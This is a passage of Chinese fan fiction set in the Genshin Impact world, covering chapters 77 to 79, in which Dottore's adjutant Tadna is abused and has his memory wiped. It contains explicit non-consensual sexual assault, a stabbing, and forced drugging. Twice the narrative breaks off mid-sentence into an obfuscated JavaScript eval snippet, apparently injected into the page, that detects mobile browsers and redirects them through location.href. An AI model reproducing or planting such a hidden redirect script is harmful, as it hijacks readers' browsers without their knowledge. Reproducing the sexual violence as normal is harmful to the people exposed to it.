我看了一眼被两个壮汉堵得严严实实的路口,忍不住啧了一声,两个士兵顿时低下头,单膝跪在地上向我行礼。 我往后半退了一步,心中的烦躁更甚,但还是压抑着开口。 “算了,带路吧。” 那两个壮汉如释重负地从地上爬起来。 “副官大人,请从这边上车。” 车是标准用车,上面有愚人众和实验室的标识,我认出那是这附近那座分实验室的标记,便上了车。在路上行驶了一段时间,很快视野里便出现了实验室的建筑,等到了门口,没等那两个人开门,我就自己跳下了车。 “副官大人,您……” 我摆了摆手:“到这里就行了吧?我应该去哪里找他?办公室,还是实验室?” “【博士】大人说会在实验室等您。” “那好,我知道了,你们走吧,我自己进去。” 两人脸上露出为难的神色。 我的语气略微变冷:“怎么?押送我一路到这里,还要把我押送到实验室才算结束吗?在你们看来我是什么?实验体吗?” “不敢……” 看着两个人战战兢兢地谢罪,我如愿甩掉这两个“跟班”,从正门进去,轻车熟路地左绕右拐,很快到了实验室的门前。 在开门之前,我的脑海里闪过许多切片的样子,那些都是如今尚在至冬的切片,又在其中挑选出可能会找我的人选。在剩下的几个选项中看了一遍,我忍不住在心中祈祷千万不要是最差的那个选项。 掌心搭上冰冷的门把手,我稍稍用力往下压,门很轻松地被打开。 实验室冷得出奇,打开的一瞬间一道冷气扑面而来,我被冻得露在外面的指间发白。 实验室的中间,在金属制的实验台前,戴着古怪的全脸面具,一头薄荷色卷发的男人听到声音转过来。 男人露出来的猩红色的双眼在看到我的一瞬间兴奋起来。他紧紧地盯着我,像是一把尖刀,要把我开膛破肚。 我突然感到刺骨的寒冷,忍不住抖了一下。 门在背后闭拢,发出“咔哒”的落锁声。 赞迪克朝我伸出手。 “过来。”他说。 我有些僵硬地走过去,在靠近赞迪克的时候被拉住手臂一把拽过去,两只手臂被用力反剪在身后,上半身被压在实验台上,脸颊贴着冰冷的金属台面。 我忍不住呜咽一声。 “Beta大人……” 赞迪克笑起来,笑容冰冷。 “好久不见,塔德纳。现在,是时候算算我们之间的账了吧?” “需要我提醒你一下吗,大忙人?比如,54号实验体,以及,调令。” 77.第 77 章 关于营救柯莱的计划,是我在几个小时之内敲定的流程。 第一步,获得调令;第二步,分调关押设施的守卫士兵以及关闭监控系统;第三步,释放大部分实验体制造混乱,分散兵力;第四步,借由设施的最终力量帮助柯莱逃脱并且拖延Omega。 虽然最终的结果比我想象中的还要狼狈些许,但也算完美地达成了所规划的目标。 当然,唯一的缺漏—— 赞迪克,Beta切片。 拿到调令的前提不可或缺,以至于我根本没办法再多考虑在这之后要如何应对赞迪克。 手臂被大幅度地控制在背后,我能感受到赞迪克用的力气极大,甚至有种肩膀要脱臼的感觉。因为脸被强制压在实验台上,我弯着身子,只能看到一点赞迪克的衣角。 赞迪克压着我,靠近我。 “多亏了你,实验室损失重大,项目被迫中止,而我的权限,也因为你损毁了调令,被‘本体’暂时停止。呵呵,你说,我该怎样,才能从你身上讨回这些损失?” 赞迪克的语气森冷。我努力地平静着自己的心跳,几乎是强装镇定。 “Beta大人。”我必须尽快安抚赞迪克。 “您……您先放开我,这个动作,我没办法……” 但赞迪克似乎并没有从我身上得到任何回答的想法。他冷笑了一声,将我压得更严实,这一下,我听到肩膀“咔擦”的一声,随即剧烈的疼痛席卷全身。 “呜啊……” 我痛呼一声。 “不,不不。向你追寻回答是一个无聊且毫无用处的选择。你很擅长让自己获得来自别人的好感,当然,这里面,或许也包括,‘我们’。” 后脑勺覆上一只手掌,毫不留情地抓着头发将我的头拉起,头皮如同撕裂般疼痛,我压抑着喉间痛苦的呻吟,被迫与赞迪克对上双眼。 那双带着怒火和冰冷的猩红色双眼紧紧盯着我,下一刻,赞迪克咬上我的唇,像是要把我直接拆吃了一般,舌头闯进去,在里面用力地扫荡着。只在偏外面的距离稍微扫了几圈,舌头便伸长往更深处,直直戳进喉管里面。 疼痛加上剧烈的反呕感让我十分不适,我下意识地挣扎起来,但身体却被紧紧扣押在台面上,背后就是赞迪克的腹腰和腿胯,连一丝都动弹不得。 最里面的软肉被摧残着,赞迪克像是犹嫌不够似的,用力地吮吸着,直到我的口腔无法闭拢,甚至连吞咽口水的力气都无,津液顺着嘴角滑落到脖颈间。 等到我呼吸不过来,连眼球都在翻白的时候,赞迪克才退出来。 他伸手,拇指指腹粗暴地擦过我嘴角透明的液体,然后让我的头侧放着。他一只手扶着我的后脑勺,用另一只手解开自己的裤带。 “不要乱动。”他警告道,“如果你不希望我讨回的损失包含一些更血腥的内容的话。” 我僵了一下,但还是听话地保持这个难受的动作。 …… …… 而另一边,赞迪克还在冷声催促。 “快一点,塔德纳,我的耐心是有限度的。” 我只能咬咬牙,绷紧全身的肌肉尝试着站起来,但就在半弯着腰站起来的一瞬间,我还是失败了。 赞迪克走过来向我伸手,他似乎是准备如同他所说的那样,再次给我灌入液体,我顾不上不准说话的禁言令,抓住赞迪克的手臂,哭泣着恳求。 “Beta大人,不要了,求求您,不要再继续了……主人,主人,我好难受……” 赞迪克停下动作。 “呵,你似乎搞错了一点,塔德纳。我不是Theta,更不是‘本体’,不会因为你求饶就对你网开一面。这并不是第一次,不是吗?你总是学不会教训,违背一些不该违背的命令,救一些没有必要救的人。” “果然,或许Omega的观点才是正确的。你不值得任何怜惜,塔德纳。就如同活力之家的背叛一样,没有恐惧和疼痛,你永远都学不会……” 赞迪克的声音像尖刺一样,直直地扎入到脑海里,我脑袋霎时间划过一片白幕,庞大混杂的记忆在脑海中飞速地闪过。 我有些迟疑地出声。 “什么……背叛?” 赞迪克愣了一下,随即用力地拽住我的衣领,把我拽得要脱离地面。 “你在问什么?要在这件事上装傻气我吗?如果你的目的是这个的话,那我不得不承认,确实十分成功。” “不……” 衣领拉紧传来窒息的感觉,但此刻,比起大脑里突然卷起的刺痛,已经不算什么了。 呼吸变得急促,我开始感受到难以呼吸。 “活力之家……熟悉的名字,我……我在哪里听说过的……” 记忆像是被蒙上了一层白雾,赞迪克所说的“活力之家”,以及“背叛”,它们或许都是对我而言十分熟悉的事务,身体对此下意识的反应能够证明这点,但是无论我在脑海里如何搜寻,都没有办法想起一丁点关于这些的记忆。 像是被橡皮擦去的笔迹,那突兀的断层和不和谐处。 赞迪克或许是看出来我的异常了,稍微松开我的衣领。他放开我,退后两步。 我疼得站不住,扶着一旁的实验台,指尖用力到要嵌进金属台里。 有关过往的记忆,关于须弥,关于……家人? 我惊恐地发现自己甚至连家人的样貌都无法在脑海里浮现出来,不,不只是如此,不只是家人,那些与须弥相关的人,甚至是活力之家,阿……阿什么来着? 有关须弥的一切,所能想起的微乎其微。我惶恐地一遍遍查阅自己的记忆,却发现那段久远的过去只能回想起一点模糊的印象。 被排挤的少年,一起去看星星的约定,长剑贯穿人脑后的那句“共犯”,以及…… 在众人面前,向我伸出手掌的青年。 “跟我走吧。”那位青年有着熟悉的薄荷色卷发和一双猩红色的眼睛。 “我们约定好了,不是吗?” “!” 这……这不对! 这不该是……真正的记忆! 我的记忆,被篡改了?! 是从,什么时候开始的事? 我想起突如其来的枫丹之旅,想起自己似乎做过一些梦,但我又不敢确定,那只是模糊的印象,具体是否存在,我的记忆无法给出确定的回答。 但我倾向于那些梦境存在。 以及,我想起,甜腻的香味。 是香?不,似乎是药丸? 并不算久远的记忆里。 “安神类的药物。轻量摄入的话可以缓解疼痛和促进睡眠,但过量的话,会对人的神经造成损失,精神错乱,产生幻觉。我做了内服的药丸和外用的熏香两种。神经损伤对你无用,若是头疼的话,可以偶尔服用少量……” 我突然想到了什么,后背猛地惊起一片冷汗。 赞迪克突然笑了一声,笑声阴冷。 “‘本体’……呵,胆小而自私的家伙,连其他的‘自己’,都要彻底排除在外吗?” “塔德纳。”他叫了一声。 我下意识地抬头,带着未反应过来的茫然,被赞迪克掐住脖颈按压在地上。 赞迪克跪在我的两侧,覆上来,手中锋利的解剖刀落在我的胸口。 赞迪克眯了眯眼,带着异常的兴奋,以及,愤怒。 “既然忘记了,那我就帮你想起来好了。” 男人如此说着,解剖刀锋利的刀尖划破衬衫单薄的布料,狠狠地刺入进去。 “啊——” 我疼得要命,尖锐的疼痛甚至暂时压过大脑里记忆混乱引发的痛意。 赞迪克刺得极深,鲜血从伤口处不断地涌出,我挣扎起来,却被身上的男人轻易地压制住。 过了会儿,等到我疼得终于失去挣扎的力气后,赞迪克才像是突然想起来了什么一样。 “哦,对了,还忘了这个。” 苦涩的药丸被压着舌根送进来。 “虽然不是原配方,但功效大差不差。” 手指扣挖着咽喉,我不自主地吞咽,那枚药丸便也顺畅地滑了进去,舌根一片苦涩,很快,在那药丸吞进去后不久,我开始浑身乏力,困倦席卷我的意识,同时,有尖锐的疼痛从大脑深处爆发,我呜咽着蜷缩身体,一时间疼得意识不清。 身边似乎有声音响起。 “呵,想要未经允许忘掉那件事情,即使是‘本体’的决策,也绝不可能被答应。” 我疼得几乎濒死,意识模糊之间,我似乎听到实验室的大门被打开的声音。 …… 我似乎…… 丢失了一段记忆。 身边人流涌动,我站在人群中间,看着附近身着教令院服饰来来往往的人群,有些彷徨。 我是……谁? 肩膀突然被一股大力撞了一下。我捂住发痛的肩膀。 “哈!这不是和疯子在一起玩的家伙吗?异类!怪胎!离我们远点!” 那似乎是一位年纪尚小的少年。少年的脸上满是愤怒的神色,看着我的眼神像是在看什么令人恶心的事物一般。 我下意识地想从身上找到镜子,但在口袋里摸了一圈,发现什么都没有。 不,或许还是有东西的,一张纸条, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098894|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被揉得皱皱巴巴,上面好像写了什么。 我想要打开看一眼,却被眼前的人从手里一把抢夺过去。 纸条被人点燃,燃烧散发出黑烟。 面前的不再是少年,而是一群不良的青年。 “克拉斯学长,您要怎么教训他?” 额前的头发被拽起来。 名为“克拉斯”的青年冷笑。 “哼,能和赞迪克那个怪胎交朋友的人,果然也是个恶心的家伙。赞迪克让我上次公开演讲出那么大的丑,就从你的身上讨回来吧。谁让你和他交朋友呢。” 纸条的灰烬兜兜转转,被风儿卷到地上,我被人压倒在地上,膝盖磕在地面十分疼痛。 “你没事吧。” 略有些耳熟的声音响起,我抬头,发现那些青年不知何时消失,取而代之的是身边的一位脸相并无多少记忆点的青年。 “我……” 在看清我的容貌的一瞬间,青年的神色立刻变成了嫌恶,递过来的手也被飞速收了回去。像是染上了什么脏东西一样,青年用衣摆擦手。 “真是晦气。”他说,“都怪你,害得我被那些人讨厌。你从来没跟我说过你会认识那个人,早知道你会结识那种人,我就不该和你做朋友。本来明明是看中你父母的学术影响,结果……呵,你离我远点,我不想看见你。” “……” 我看着青年嫌恶地走远,仿佛再晚一步都会被我这样的“肮脏之人”污染一般。 我叹了口气,心情出乎意料地平静。 我该有什么情绪吗? 我该有任何其他的应对吗? 我不知道。毕竟现在的我,连该去哪里都不知道,作为唯一线索的纸条也早就被烧毁。 那位青年刚才说到了我的“父母”? 或许我可以去找我的“父母”。 我沿着街道往前走,不多久,面前出现了一栋房子,我愣了一下,莫名的情感驱使我走上前,手背朝外,关节并合扣了扣门。 叩叩—— “谁啊?” 里面传来妇人的声音,很快,门被打开,一对年龄不小的夫妻站在我面前。 我抬眼看去,却发现这对夫妻的容貌对我而言,竟然陌生得可怕。 我突然觉得头疼,萌生出想要逃跑的想法。 “是你?你怎么来了?” 妇人的表情很不好看。 在她身边,严肃的男人十分愤怒。 “没用的东西,你不是早就脱离家庭了吗?现在还找过来干什么?长大了,翅膀硬了,学会断绝关系了不是吗?呵,我们家可没你这种不成器的儿子,给我滚!” 门在面前无情地关上,发出巨大的声响,掀出的风浪几乎要吹倒我。 我有些尴尬地摸了摸鼻尖,退后两步,转身离开。 “塔德纳,你怎么会在这里?” 听到有人叫我的名字,我僵了一下,转过头看去,发现是一名青年。 那是一名相当英俊的青年,他的身量很高,一头薄荷色的卷发,只是发丝下,那双猩红色的眼睛给人一种莫名的震慑和恐惧。 但是,令人惊讶,我似乎并不会害怕青年。甚至,在看到青年的一瞬间,无数的回忆被勾引起,让我能够顺畅,足够亲昵地叫出那个名字。 “赞迪克。”我笑起来。 赞迪克朝我伸手,我走过去,将手掌放在青年的掌心。 青年的体温不算太高,或许是在外面吹了冷风。 今天的气温并不算高。 赞迪克拥抱住我。我被塞进比我要高一些的怀抱里,连发丝被要被围进怀里。 “不是说好在家里等我的吗?” “我不想一直待在家里。我想和你在一起。” 话语自然地从口头流出。 赞迪克轻笑一声。我感受到脸颊靠近的胸膛微微的震动。 我说:“刚才有很多人和我说话,他们都很不喜欢我。” 赞迪克收紧手臂。 青年猩红色的眼睛紧紧地盯着我,像是要织出一张密密麻麻的网,把我彻底网住。 “没关系。”他放轻语调。 “我会一直接纳你的。” …… 醒来的时候,头痛欲裂,身体也很痛。 我睁开眼睛,映入眼帘的是天花板。鼻尖,似乎有香味残余,甜腻悠长。 我恍惚着。门突然被打开。 留着薄荷色中长发的男人走进来,他没戴面具,犹如鲜血的眼睛便毫无障碍地看过来。 多托雷语调温柔。 “你醒了,塔德纳,有哪里不舒服吗?” 78.第 78 章 记忆里的映像仿佛依然残余。我看着眼前的男人,男人高大的身影与梦中青年的身形逐渐交叠重合。 我感到迷茫,但身体好像被驱动着,对眼前之人不自主地亲近。 我忍不住低声叫了一声。 “主人。” 多托雷走过来。他坐在我的边上,靠得极近,手掌扶着我的后背,像是安抚一样。 男人的身体并无多少体温,甚至即使是这样近的距离,那咫尺的胸膛也听不到一丝属于活人的声响。 但我感到心安。 记忆驱使着我靠近多托雷。 但不知从何而起的心声又在低声断断续续地提醒我不要太过接近身边之人。那心声模模糊糊,连源头都无从循迹,抵抗着身体的蠢蠢欲动。 多托雷似乎并未看出我的纠结,用温柔的声音问我。 “又做梦了?” 我犹豫着点了点头。 “梦到了,教令院……还有您,以及我。那或许是以前的记忆。”头开始抽痛,“但我,好像记不起来了,关于以前的记忆,呜……” 我痛苦地捂着头。 身体被一双手臂揽进怀里,我被迫抬起头,看着多托雷扶着我的身体,那双猩红色的眼睛注视我的神色良久,然后,多托雷伸手,手掌盖住我的眼睛。 视野陷入一片黑暗,下一刻,有柔软的触感覆上唇瓣,身体的本能驱使我乖巧地张开嘴,但多托雷似乎并没有进入的打算。 他只是啄吻着,微凉的触感在唇上印下。 我听到多托雷的声音在耳边响起,带着一如记忆中的温柔。 “人的身体会代谢掉一些不那么好的记忆,不用感到负担,也不用再去专门追回。现在这样,就很好不是吗?我会让Beta不再找你。” 是……这样吗? 我有些茫然,但也并找不到什么否认此的理由。 于是我只能默认下来。 记忆一旦失去,连为何要保存这段记忆的理由也已失去。 多托雷或许说得不错,现在这样,也已经很好了,我或许不该再奢求更多。 …… 自那之后再过了半月,我才终于被多托雷放出来,准许我再次回到工作岗位。不用上班的日子固然轻松,但一切出行活动其实仍需要向多托雷报备,更何况,因为Beta切片暂时不会离开至冬的缘故,我也不想离开住所。 一旦离开,要是再像上次那样被强迫带过去,鬼知道还会经历些什么。 这些天,多托雷为我调制了一些安神的药物,用完之后确实感觉睡眠质量好了很多,但与此相应的是,记忆褪色失去的部分也越来越多,我开始逐渐想不起来有关须弥的一切,甚至刚到至冬那段时期的记忆,也在逐渐被遗忘。 偶尔回忆过往,竟然发现能想起最早的记忆竟然是尚在监狱关押时那段无聊的时光,顿时感到无趣极了。 多托雷告诉我,这是正常的现象,我的身体早已无法承载那么多的记忆,在自我修复的过程中,一些记忆会被身体适当地遗忘。 但是没关系。 他告诉我,生命拉长到足够的长度时,过去只是无用的累赘,安心于当下才是我最应该做的事情。 我觉得多托雷所言也很有道理。没有那些记忆后,我似乎的确更加轻松,对我而言,生活变成了一切只需要听从多托雷的完全简易模式。 多托雷是我极重要的人——来源于还记得的,梦境中的记忆。那大概是我尚存的记忆被糅合进梦里。 听从多托雷的命令——我没有理由质疑多托雷的决定,至少暂时没有。 以及—— 远离切片。 这是多托雷最新给我的要求。 我不明白多托雷为什么会突然有这样的命令,但大部分切片其实并不会很经常性地找我,而剩下的那一小撮会找我的切片,除去Beta,便是Theta,以及尚在须弥的Omega和Alpha。 上次Beta切片因为我放出实验体的事情对我大加报复,似乎还因为一些我记不起来的事情对我生气。若非多托雷命令,我大概这辈子都不想再见到Beta切片了。 想起上次的经历,胸口仿佛还会幻痛,我在心底叹了口气,归拢思绪,将冗长的袖口往上捋起到小臂。 最近的天气晴暖,连气温都高了不少,往年还能够忍受一二的温度,今年却是不太能忍受了。 多托雷之前还提醒过我要不要换一套清凉一点的衣服,不要再裹得全身上上下下都严实。本来因为穿习惯了以前的穿衣风格,我是要拒绝的,可是如今看来,或许稍微改变一下穿衣风格确实是不错的提案。 “【散兵】大人。” 前面传来声音,我抬头,看到熟悉的圆帽和人偶,顿了一下,站到边上,也和其他人一样向连正眼都不愿意稍微施舍的人偶少年行礼。 右手抬起到胸口,微微弯腰。 “【散兵】大人。” 从不正眼看人的人偶在我的面前停下。 “哦?是你?”斯卡拉姆奇的语气微微上扬,平白显出一点阴阳怪气的意思,“没想到能在这里单独看见你,我还以为那家伙是恨不得把你塞进口袋里一直带着。” “那家伙”是指多托雷。 斯卡拉姆奇极讨厌多托雷,能不说名字就不说,有的时候甚至连执行官代号都不想提起。 我保持着尊敬回复:“【散兵】大人说笑了,人再怎么样,也不可能小到和玩偶一样被随身携带才是。” “呵,一段时间不见,油嘴滑舌的本领愈发精进了。”斯卡拉姆奇随手讽刺道。 “好了,不用一直行礼,我也没兴趣让你免礼,要是你想一直保持这个连三分之一的标准度都称不上的礼节动作的话,我也不会阻止就是了。” 我从善如流地挺直腰,对上面前执行官不耐烦的眼神,露出一个无可挑剔的笑容。 “感谢您的大度。”我如此说着,一边伸手将刚才动作间有些扰乱的衣领拉正。 手腕被一下子用力地捏住,我疼得嘶了一声,无法用力的手腕被人偶抓在手里拉过去,那道狰狞的疮痂被迫裸露出来。 “这道伤疤……” 人偶死死地盯着那道丑陋的痂痕,像是要把那里盯出一个洞来一样。 “你怎么会?不,不对,你这道伤疤是从哪里得的?”人偶语气带着急促。 我被斯卡拉姆奇突如其来的动作吓了一大跳。 “记……记不清了……” 人偶的眼神灼灼,从我手腕上的伤疤流转,落到我的脸上,在看我眼睛的时候停留了格外久的时间,最后落到我的头发和脸上。 斯卡拉姆奇问我:“你去过稻妻?” 我有些茫然:“主人的邪眼工厂在稻妻初建立的时候,那个时候当然要和主人一起去稻妻。您那时不是也在吗?” “我说的不是这个。”斯卡拉姆奇有些懊悔了。 “算了,我问你这个干什么。” 手腕被一下子扔了回来。对面的人偶冷笑一声,倒不像是在嘲讽我。 “量你也不是……我真是失心疯了,竟然会往你身上想。让开,别挡着我。” 人偶推开我,又像是憋着一团无论如何也疏解不散的火走远了。 我愣神地看着拿到身影走远,低头揉了揉自己刚才被捏得有些发痛的手腕,感觉心里像是不知何处缺了一块一样。 真是…… 奇怪。 我摇了摇头,最终还是将袖口重新放下来,把右手手腕老老实实地包裹完全,直到连一丝缝隙都不留。 斯卡拉姆奇是从深渊回来的,一是因为任务暂时告一段落,第二则是因为—— 新的执行官要上任了。 第十一席,这个愚人众执行官最末席的位置,终于也要迎来承接者了。虽然还没有新任执行官的具体消息,但大致的情报是新任执行官是受【公鸡】的提拔而晋位的,大概也能算【公鸡】势力的一员,并且,是武斗派那一类。 末席…… 大概未来也并不会有很多接触吧,要是再来一个嫉恶如仇讨厌多托雷的…… 等到了实验室,我敲了敲门,里面传来“进来”的声音后才开门走进去。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112065|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 径直走到多托雷身边:“主人,三号实验室的布置都已经安排好了。” 多托雷放下手中的试管。 “我知道了。”他说着,褪下手上做实验时用的手套,“对了,将明天的事务全部推后吧,有其它的事情更为紧急。” 我愣了一下:“我明白了,需要我去另作安排吗?” “不用。”多托雷的语气含笑,“说起来,我准备带你跟着一起去一趟。新执行官的授职仪式,你也知道的。就在明天早上举行。” 我想起刚布置好的实验室的实验装置。 “所以,三号实验室是为了……” “为新任执行官颁发的邪眼的例行测定实验,当然如此。”多托雷道,“即使拥有女皇陛下赐下的力量,一些必要的实验,也是不得不完成的。” “希望新的执行官大人不会排斥这些。”我有些心有戚戚。 多托雷摆手:“看来【仆人】那次的事情给你留下了很深的印象。” 能不印象深刻吗?毕竟是差点就和多托雷打起来的一次。结果虽然两位执行官没有大打出手,围观了全程的研究员也有好多被吓得够呛,好几个来找我请假修养的。 我笑了一下,不再多言语。 如多托雷所言,第二日的清早,新任执行官的授职仪式召开,所有能够参与仪式的执行官基本都到了场。 【丑角】,【少女】,【木偶】,【公鸡】,【富人】,【少女】,【散兵】,再加上多托雷,如此看来,就算算上偶尔召开的执行官会议,这估计也是近来执行官到场最齐的一次了。 我跟着多托雷一起,在场其他的执行官都没有带下属,不过看见我,执行官们都是一副见怪不怪的表情。 斯卡拉姆奇似乎从那次之后都在避免和我碰面,只有【女士】顶着不得不看见多托雷的损伤和我打了个招呼。 “看见你过得似乎还不错我就放心了,之前听说你请了好一阵的假,还以为你出了什么意外。” “塔德纳一直待在我身边,又有什么意外可出呢?” 【女士】笑了一声:“明明问出这种问题的人才最该反思一下自己不是吗?” 多托雷:“看来你对我的误解很深。” 两位执行官暗暗较劲了几句,我便站在多托雷身后当什么都不知道的木头人。 好在【女士】大概也觉得和多托雷待在一起实在晦气,只堵了多托雷几句后就离开了,走之前还邀请我有时间可以去参加她的酒局。 当然,是我喝茶别人喝酒的那种。 多托雷冷笑了两声。 被猩红色双眸紧盯着的我压力很大:“……” 我干笑:“有机会的话应该会去的。” 等到【女士】走远,多托雷靠近我,身形几乎要完全笼罩我。宽大的手掌落在我的后颈上,揉捏着软肉。 我被半拢进怀里,身体僵硬不敢动,害怕被别人看见,但更多的是软肉被拿捏的僵硬。 手掌完全围拢脖颈带来的轻微的窒息,像是安抚,又像是控制一样的揉捏。我只能如同安静的宠物一般站着不动,任由主人的抚摸。 这场仪式持续的时间比我想象中的要长,除去一些繁琐的流程,女皇陛下亲至现场,在全体执行官的注视下,新任执行官走了出来。 我从多托雷的身边探出半个脑袋,也看了一眼热闹。 那位新任的执行官是一位青年,身着正式的执行官礼服。 只看了第一眼,我就被惊了一下。 是那天的那位橘发的青年! 我记得名字是…… “今日,我们将共同见证一位新伙伴的加入。愚人众执行官第十一席,【公子】,达达利亚。愿女皇的威光一同照耀我等,也愿胜利,终将抵达目标。” 阿贾克斯…… 我看见台上青年那双并无多少光亮的蓝色眼睛看过来,落在我的脸上停留了一下。达达利亚似乎有些惊讶,但很快收拢好情绪,回到授职仪式上。 多托雷自然没有错过这个细节。 “呵。”他语焉不详地笑了声。 我:“……” 79.第 79 章 我低着头,装作什么都不知道的样子。 多托雷似乎没有要问我解释的意思。当然,或许更合理的情况是他会在一切结束之后私下再问我。 执行官的授职仪式并不会持续太久的时间,在冰之女皇亲自为达达利亚佩戴上执行官身份象征的勋章后,仪式很快就进入了尾声。 在结束之后,诸位执行官纷纷开始离开。 多托雷自然也在此列。 与【丑角】简单打过招呼后,多托雷便给了我一个眼神,然后先行与我一同离开了。 在走出会场大门的时候,碰上了一个意外的人。 “请等一下,这位……” 方才还在场间的新任执行官走出来。 达达利亚看了眼我,然后将视线转移到多托雷身上。 “你是,【博士】,对吧?我知道你,你席位很高,实力也很强。” 多托雷不为所动:“哦?你找我有事?末席。” 虽然语气疏远平常,但被刻意强调的“末席”二字总有一种在阴阳怪气暗中嘲讽的意思。 达达利亚似乎完全没有意识到来自同事的恶意。 “抱歉,打扰到你了。不过我不是来找你的,我想和你身边的这位……” 达达利亚看向我,纠结如何称呼我。 “这位……” 多托雷略微抬颌:“塔德纳。我的副官。你找他有事?” 达达利亚挠头:“我知道。你们很有名。我是指你,还有,塔德纳。很多人都知道你们。” 多托雷一幅作壁上观的姿态,我没有办法,只好微微抬起头,向眼前这位新晋的执行官做了一个一般标准的礼节。 “【公子】大人,请直接称呼我的名字‘塔德纳’就好。” “好吧。”达达利亚注视着我,“塔德纳。你也不用一直用‘公子大人’这样的名号来称呼我,直接叫我‘达达利亚’就行了,这是我在成为执行官后获得的名字。” 多托雷不再前视达达利亚的方向。我能感受到那存在感十足的眼神落在我的身上,一寸一寸舔舐。 虽然多托雷什么都没说,但我好像听到了一声冷笑。 我:“……您是执行官,对您这样的尊敬的称呼是必要的。” 达达利亚:“我以为我们之间应该不是‘执行官和下属’这样的关系?” 多托雷淡淡开口:“塔德纳是我的下属。与你,自然不是那样的关系。” 达达利亚愣了一下。 “啊?” 我惊慌地抓着多托雷的手臂把他往身后推。 “称呼的事情放在之后再谈吧,【公子】大人。”我勉强露出一个笑,“您出来是找我有事吗?” 达达利亚的视线在我和多托雷之间流连了一下,听到我的问题,又很快被打断收回。 “哦,只是看见熟悉的人,所以打个招呼而已。” 我顿感汗颜。 “熟悉的人”……只是上次短暂见过一面的也能称之为“熟人”吗? 达达利亚笑道:“这还是我第一次见到那么多其他的执行官呢。说起来,可能除了【公鸡】先生,我就只对你还比较熟悉了。” 我:“……” 我尴尬地呵呵笑了两声。身边多托雷的视线简直如骨附疽,我只能尽量强迫自己去无视。 “是这样吗。能被【公子】大人记住,实在是我的荣幸。” 达达利亚摆手:“你不用和我用这种语气说话,我说过的。我找你其实只是想和你打个招呼而已,刚才一直没机会。” “对了。”青年的语气含着跳脱的笑意,“你上次给我的照片,冬妮娅看见后很喜欢,还托我问你拍摄的技巧。” “只是随手拍的而已。冬妮娅小姐如果喜欢的话,我可以去找找符合新手入门的使用拍摄技巧的书籍送给冬妮娅小姐。” “可以的话就太好了。只是需要麻烦你。” “顺手的小事而已。”我得体地回答,“打包好的书籍我会托人送到您手里的。当然,如果您比较忙碌的话,也可以给我一个地址,我会让人直接送过去。” 达达利亚婉拒了这个提议。 “不用这么麻烦,直接给我就行。我替冬妮娅谢谢你,塔德纳。” 我并不为此感到意外,毕竟后面的那个提议也只是程序上的主动服务。达达利亚虽然看起来似乎对我的态度偏向正向,但出于对多托雷的提防,以及对家人的爱护,定然不会直接让自己的家人接触我。 无论如何,我的身上确实都套着一个“多托雷副官”的危险名头,达达利亚倒也真不至于完全如表面一般的单纯。我能看得出,他在接近我,同时也对我保持有警惕。 至于为何接近…… 或许真的是因为上次的一面之缘也说不定? 说完这些后,达达利亚便向我告别了,临走时他还对多托雷点了点头,算是别过。 如达达利亚一开始所言,他特意赶出来似乎真的只是为了和我打声招呼而已。 真是难以理解。 等到达达利亚的身影彻底消失,多托雷才问我。 “照片?什么照片?” 我顿了一下,谨慎地瞥了一眼多托雷的表情,确认从那平直的嘴角看不到什么别的情绪后才开口回答。 “上次在被Beta大人请去实验室之前,在湖边遇到了【公子】大人。那位大人帮了我一点小忙,照片是作为回礼。” 多托雷没再说什么,只是简单地“嗯”了一声。 “末席,最年轻的执行官……”多托雷语焉不详地哼笑了一声,“他可比你看起来的还要麻烦数百倍,不想牵连的话,还是远离比较好。” 我微微一惊。 心中的直觉告诉我这或许是超出我应所知范围的隐秘,于是识趣地闭嘴。 “是,主人。” 多托雷大概对我的回应还算满意,语气稍微柔和了一点。 “有一份实验数据,需要你从Theta那里取来。明天上午的时候去一趟吧。” 我低头:“是。” 多托雷所谓的实验数据,大抵是离开至冬前往枫丹之前将至冬这边的实验转交给Theta切片负责的数据部分。 多托雷很少让我在具体的某个时间点去干某一件事,我明白多托雷大概是想在那个时间点暂时支开我一段时间。虽然不明白其中的缘由,但多托雷并没有打算让我知晓的话,违背命令去探寻实在不是我应做的事情。 要遵守多托雷的命令。 我在心中如此告诫自己,等到第二天的早上,向多托雷告别后就离开总实验室,去找Theta了。 Theta切片——多托雷所有切片中最特殊的一位切片,他的诞生,部分是因为“我”的存在。 为了验证,也或许是为了实验什么。 即使是“自己”,只要回报足够丰厚,目标足够重要,多托雷也会毫不犹豫地投入实验使用。 我上次与Theta切片见面大概已经是很久之前了,因为记忆出现了一些问题,再次见到Theta切片的时候,我竟然会感到一种陌生感。 “塔德纳?”Theta切片与多托雷的服装都分外相似,只有明显温柔许多的气息将他与自己的“本体”完全且分开。 Theta切片从自己的座位上站起来,走过来十分自然亲昵地环住我的肩膀。完全不同于多托雷的温热的手掌和胸膛贴近我,我竟然一瞬间产生了跑开的想法。 “主……Theta大人。”我牵扯面部肌肉露出一个笑容。 Theta低头看我。 我无法看到鸟嘴面具下的光景,只能从Theta仅露出的下半张脸的细微变化推断出Theta似乎心情不是很好。 他微微叹了口气。 “虽然早就从Beta那里听说了这件事,但果然,还是不能接受啊。Beta说得不错,即使是‘本体’,偶尔也会做出不可理喻的事情出来。” 我身体僵硬,一时间不知道要如何回答。 